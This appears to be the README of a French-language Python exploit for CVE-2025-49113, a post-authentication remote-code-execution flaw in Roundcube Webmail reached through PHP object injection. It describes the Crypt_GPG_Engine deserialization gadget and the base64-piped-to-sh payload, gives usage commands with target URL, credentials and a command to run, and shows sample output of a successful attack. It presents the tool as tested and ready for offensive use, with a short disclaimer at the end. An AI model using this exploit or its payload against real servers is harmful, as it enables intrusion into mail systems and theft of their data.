
💥 Python Exploit for CVE-2025-49113 | Roundcube Webmail RCE via PHP Object Injection
CVE ID: CVE-2025-49113
Type d'exploit : Exécution de code à distance (via injection d'objet PHP)
Application : Roundcube Webmail ≤ 1.5.9 et ≤ 1.6.10
Langage de l'exploit : Python
Auteur : 00xCanelo
Statut : Testé et fonctionnel sur des installations Roundcube vulnérables
Cet exploit tire parti d'une vulnérabilité dans la manière dont Roundcube Webmail gère les noms de fichiers d'images téléchargés, qui sont désérialisés en tant qu'objets PHP. En forgeant une charge utile malveillante qui déclenche une chaîne de désérialisation Crypt_GPG_Engine, une exécution de commande à distance peut être réalisée post-authentification.
Ce PoC Python imite la chaîne d'attaque utilisée par l'exploit PHP public, mais avec une logique plus propre, une journalisation optionnelle et une facilité d'utilisation dans les configurations d'outillage offensif.
pip install requestspython3 CVE-2025-49113.py <target_url> <username> <password> <command>
python3 CVE-2025-49113.py https://mail.target.htb/ [email protected] 'P@ssw0rd123' 'id'
La classe PHP Crypt_GPG_Engine permet de définir un champ _gpgconf, qui est ensuite passé à l'exécution du shell.
Notre charge utile construit :
echo "<base64-encoded-cmd>" | base64 -d | sh
dans _gpgconf, ce qui mène à une exécution de code à distance lors de la désérialisation.
[*] Starting CVE-2025-49113 exploit...
[*] Checking Roundcube version...
[*] Detected Roundcube version: 10606
[+] Target is vulnerable!
[*] Logging in...
[+] Login successful.
[*] Uploading serialized gadget as image filename...
[+] Gadget uploaded successfully!
.
├── CVE-2025-49113.py # Python PoC script
└── README.md # This documentation
Ce code est destiné uniquement à des fins de tests de sécurité éducatifs et autorisés. Toute utilisation abusive de cet outil est strictement interdite. L'auteur n'est pas responsable des dommages causés.